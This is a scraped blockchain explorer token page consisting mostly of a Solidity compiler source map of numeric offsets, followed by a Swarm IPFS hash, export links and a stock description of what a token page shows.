;1595:25:1;;1583:2;1568:18;;1449:177;5573:35:0;;;;;;;;5063:612;4942:733;;;:::o;5683:484::-;-1:-1:-1;;;;;5900:17:0;;;5876:21;5900:17;;;;;;;;;;;;;5973:22;;;5953:42;;;6017:20;;;;;;;:30;;5989:6;;5876:21;6017:30;;5989:6;;6017:30;:::i;16242:994::-;16325:4;16281:23;3245:18;;;;;;;;;;;16281:50;;16342:25;16385:18;;16370:12;;:33;;;;:::i;:::-;16342:61;-1:-1:-1;16420:20:0;;;:46;;-1:-1:-1;16444:22:0;;16420:46;16416:85;;;16483:7;;16242:994::o;16416:85::-;16535:23;:18;16556:2;16535:23;:::i;:::-;16517:15;:41;16513:115;;;16593:23;:18;16614:2;16593:23;:::i;:::-;16575:41;;16513:115;16708:15;16762:21;16794:36;16708:15;16794:16;:36::i;:::-;16843:18;16864:41;16888:17;16864:21;:41;:::i;:::-;16843:62;;16918:17;16966;16951:12;;16938:10;:25;;;;:::i;:::-;:45;;;;:::i;:::-;17017:1;16996:18;:22;;;17029:12;:16;;;17095:45;;16918:65;;-1:-1:-1;17017:1:0;-1:-1:-1;;;;;17103:9:0;17095:23;;16918:65;;17017:1;17095:45;17017:1;17095:45;16918:65;17095:23;:45;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;17165:63:0;;17081:59;;-1:-1:-1;;;;;;17173:15:0;17165:29;;17202:21;;17165:63;;;;17202:21;17165:29;:63;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;;;;;16242:994:0:o;8860:98::-;8918:7;8945:5;8949:1;8945;:5;:::i;:::-;8938:12;8860:98;-1:-1:-1;;;8860:98:0:o;15661:573::-;15795:16;;;15809:1;15795:16;;;;;;;;15771:21;;15795:16;;;;;;;;;;-1:-1:-1;15795:16:0;15771:40;;15840:4;15822;15827:1;15822:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;15822:23:0;;;-1:-1:-1;;;;;15822:23:0;;;;;15866:15;-1:-1:-1;;;;;15866:20:0;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;15856:4;15861:1;15856:7;;;;;;;;:::i;:::-;;;;;;:32;-1:-1:-1;;;;;15856:32:0;;;-1:-1:-1;;;;;15856:32:0;;;;;15901:62;15918:4;15933:15;15951:11;15901:8;:62::i;:::-;16002:224;;-1:-1:-1;;;16002:224:0;;-1:-1:-1;;;;;16002:15:0;:66;;;;:224;;16083:11;;16109:1;;16153:4;;16180;;16200:15;;16002:224;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14:548:1;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1631:456::-;1708:6;1716;1724;1777:2;1765:9;1756:7;1752:23;1748:32;1745:52;;;1793:1;1790;1783:12;1745:52;1832:9;1819:23;1851:31;1876:5;1851:31;:::i;:::-;1901:5;-1:-1:-1;1958:2:1;1943:18;;1930:32;1971:33;1930:32;1971:33;:::i;:::-;1631:456;;2023:7;;-1:-1:-1;;;2077:2:1;2062:18;;;;2049:32;;1631:456::o;2489:247::-;2548:6;2601:2;2589:9;2580:7;2576:23;2572:32;2569:52;;;2617:1;2614;2607:12;2569:52;2656:9;2643:23;2675:31;2700:5;2675:31;:::i;2741:416::-;2806:6;2814;2867:2;2855:9;2846:7;2842:23;2838:32;2835:52;;;2883:1;2880;2873:12;2835:52;2922:9;2909:23;2941:31;2966:5;2941:31;:::i;:::-;2991:5;-1:-1:-1;3048:2:1;3033:18;;3020:32;3090:15;;3083:23;3071:36;;3061:64;;3121:1;3118;3111:12;3061:64;3144:7;3134:17;;;2741:416;;;;;:::o;3386:388::-;3454:6;3462;3515:2;3503:9;3494:7;3490:23;3486:32;3483:52;;;3531:1;3528;3521:12;3483:52;3570:9;3557:23;3589:31;3614:5;3589:31;:::i;:::-;3639:5;-1:-1:-1;3696:2:1;3681:18;;3668:32;3709:33;3668:32;3709:33;:::i;3779:380::-;3858:1;3854:12;;;;3901;;;3922:61;;3976:4;3968:6;3964:17;3954:27;;3922:61;4029:2;4021:6;4018:14;3998:18;3995:38;3992:161;;4075:10;4070:3;4066:20;4063:1;4056:31;4110:4;4107:1;4100:15;4138:4;4135:1;4128:15;3992:161;;3779:380;;;:::o;4573:127::-;4634:10;4629:3;4625:20;4622:1;4615:31;4665:4;4662:1;4655:15;4689:4;4686:1;4679:15;4705:125;4770:9;;;4791:10;;;4788:36;;;4804:18;;:::i;4835:356::-;5037:2;5019:21;;;5056:18;;;5049:30;5115:34;5110:2;5095:18;;5088:62;5182:2;5167:18;;4835:356::o;6817:401::-;7019:2;7001:21;;;7058:2;7038:18;;;7031:30;7097:34;7092:2;7077:18;;7070:62;-1:-1:-1;;;7163:2:1;7148:18;;7141:35;7208:3;7193:19;;6817:401::o;7223:399::-;7425:2;7407:21;;;7464:2;7444:18;;;7437:30;7503:34;7498:2;7483:18;;7476:62;-1:-1:-1;;;7569:2:1;7554:18;;7547:33;7612:3;7597:19;;7223:399::o;7627:128::-;7694:9;;;7715:11;;;7712:37;;;7729:18;;:::i;7760:168::-;7833:9;;;7864;;7881:15;;;7875:22;;7861:37;7851:71;;7902:18;;:::i;7933:217::-;7973:1;7999;7989:132;;8043:10;8038:3;8034:20;8031:1;8024:31;8078:4;8075:1;8068:15;8106:4;8103:1;8096:15;7989:132;-1:-1:-1;8135:9:1;;7933:217::o;8904:127::-;8965:10;8960:3;8956:20;8953:1;8946:31;8996:4;8993:1;8986:15;9020:4;9017:1;9010:15;9036:251;9106:6;9159:2;9147:9;9138:7;9134:23;9130:32;9127:52;;;9175:1;9172;9165:12;9127:52;9207:9;9201:16;9226:31;9251:5;9226:31;:::i;9292:980::-;9554:4;9602:3;9591:9;9587:19;9633:6;9622:9;9615:25;9659:2;9697:6;9692:2;9681:9;9677:18;9670:34;9740:3;9735:2;9724:9;9720:18;9713:31;9764:6;9799;9793:13;9830:6;9822;9815:22;9868:3;9857:9;9853:19;9846:26;;9907:2;9899:6;9895:15;9881:29;;9928:1;9938:195;9952:6;9949:1;9946:13;9938:195;;;10017:13;;-1:-1:-1;;;;;10013:39:1;10001:52;;10108:15;;;;10073:12;;;;10049:1;9967:9;9938:195;;;-1:-1:-1;;;;;;;10189:32:1;;;;10184:2;10169:18;;10162:60;-1:-1:-1;;;10253:3:1;10238:19;10231:35;10150:3;9292:980;-1:-1:-1;;;9292:980:1:o
Swarm Source
ipfs://96ca505e9a5ae5b262bdbffce9ea7309cf8b83d043d09bc3eb7c5c329f01308a
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.